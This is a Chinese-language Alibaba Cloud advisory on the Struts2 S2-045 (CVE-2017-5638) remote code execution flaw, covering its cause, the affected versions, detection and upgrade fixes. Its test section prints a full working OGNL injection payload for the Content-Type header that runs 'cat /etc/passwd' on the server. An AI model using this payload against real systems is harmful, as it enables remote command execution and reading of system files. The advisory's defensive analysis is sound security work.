阿里云帮助云上用户应对Struts2高危漏洞

简介: 2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危。完成漏洞评级和确认影响范围后,阿里云安全应急团队迅速启动应急流程,对该漏洞进行成因分析,并迅速发布官方安全漏洞预警公告。

2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令,导致系统被黑客入侵。

完成漏洞评级和确认影响范围后,阿里云安全应急团队迅速启动应急流程,对该漏洞进行成因分析,并迅速发布官方安全漏洞预警公告。

公告全文:https://help.aliyun.com/noticelist/articleid/20273580.html

联动响应 零安全事件

在流程启动启动的同时,阿里云云盾的各个产品联动响应,帮助用户应对Struts2漏洞。安骑士迅速完成云上ECS安全检测,态势感知用行为检测功能精准捕捉攻击源IP,Web应用防火墙在次日上午成功升级防护规则,帮助用户有效拦截利用该漏洞发起的攻击。

通过及时地检测、通知和规则升级,所有阿里云云盾用户均未因此漏洞发生安全事件。

漏洞分析

0x00 漏洞公告

根据官方的漏洞公告

https://cwiki.apache.org/confluence/display/WW/S2-045

可以看出漏洞的主要原因是出现在Content-Type


It is possible to perform aRCE attack with a malicious Content-Type value. If the Content-Type value isn'tvalid an exception is thrown which is then used to display an error message toa users.

通过http header中的Content-Type,注入OGNL语句来进行远程命令执行。

Struts2在对于异常的处理时出现了问题。

0x01 影响范围

受影响的版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

0x02 漏洞危害

  • 测试环境:tomcat7,Struts2.3.16
  • 测试过程:在上传页面拦截请求的数据包

0a671ae6a8898df47a67c7dd30f3da68cb892471

在http header里增加一个Content-Type的key,value就是我们的poc


%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat  /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

0a671ae6a8898df47a67c7dd30f3da68cb892471

全球攻击分布态势

277ac59cb2aa8a7c517f960edfc844a758ee09fc

修复建议

  • 对于使用了基于Jakarta实现文件上传Multipart解析器,检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,请升级到struts 2.3.32或2.5.10.1版本。
  • 使用其它方式实现文件上传的Multipart解析器。
  • 使用第三方的防护设备进行防护。
  • 删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
  • 阿里云云盾Web应用防火墙已经支持该漏洞防御,点击这里可查看介绍

 

目录
相关文章
|
3月前
|
SQL 存储 安全
网络安全与信息安全:从漏洞到防护的全方位解析
【9月更文挑战第20天】在数字化时代,网络安全和信息安全的重要性日益凸显。本文将深入探讨网络安全的多个方面,包括常见的安全漏洞、加密技术的应用以及提升个人安全意识的方法。我们将通过实例分析,揭示网络攻击者如何利用安全漏洞进行入侵,同时展示如何使用加密技术保护数据安全。此外,我们还将讨论如何通过教育和实践提高大众的安全意识,以减少安全威胁的发生。文章旨在为读者提供一套全面的网络安全知识体系,帮助他们在日益复杂的网络环境中保护自己的信息资产。
|
4月前
|
运维 监控 安全
什么是基于风险的漏洞管理RBVM及其优势
RBVM(Risk-based Vulnerability Management)是基于风险的漏洞管理,RBVM方法不是简单地修补所有漏洞,而是关注那些实际可利用的、对组织构成风险的漏洞。这种方法通过分析内部资产、攻击者活动以及威胁情报馈送(特别是漏洞情报),来确定哪些漏洞是需要优先处理的。是一种更加智能化和策略性的方法来识别、评估、优先级排序和修复组织中的安全漏洞。
82 3
什么是基于风险的漏洞管理RBVM及其优势
|
4月前
|
SQL 监控 安全
|
4月前
|
存储 安全 网络安全
勒索软件攻击及组织防护策略
【8月更文挑战第23天】
100 0
|
7月前
|
SQL 安全 网络安全
服务器入侵如何防护,业务被攻击如何处理,服务器安全防护方案
服务器入侵如何防护,业务被攻击如何处理,服务器安全防护方案
|
运维 安全 数据库
渗透攻击实例-系统/服务运维配置不当
渗透攻击实例-系统/服务运维配置不当
|
SQL JSON 安全
常见漏洞的应对方式(一)
常见漏洞的应对方式(一)
|
监控 安全 druid
如何强化应用安全能力,全面拦截 Log4j 漏洞攻击
「ARMS应用安全」为企业业务安全保驾护航!
如何强化应用安全能力,全面拦截 Log4j 漏洞攻击
|
SQL 安全 Java
网站漏洞修复之代码安全审计的解决方案站系统构建
在很多网站系统构建的一开始,最注重的就是网站程序代码的安全,我们SINE安全对甲方网站公司部署过很多的网站安全系统,之前有一些网站设计公司对于每个项目都会由专人去负责开发与设计,并与甲方网站公司进行沟通,每个技术的开发水平都不一样,有些网站技术有着十几年的开发经验,有的技术可能只有三四年的开发经验,所以开发出来的网站也都会有网站漏洞,比如:SQL注入漏洞,XSS跨站漏洞,远程命令执行漏洞,CSRF劫持漏洞,远程包含文件漏洞。
140 0
网站漏洞修复之代码安全审计的解决方案站系统构建
|
安全 大数据 网络安全
如何在阿里云从零搭建一个防入侵体系
在阿里云从零搭建一个防入侵体系 安全已经成为云计算技术体系中重要组成部分,如果上云后不考虑安全防护措施被入侵的可能性几乎是100%。阿里云提倡安全责任共担模型,阿里云负责云平台基础安全防护,用户负责虚拟化层以上的组件安全。
5527 0
下一篇
DataWorks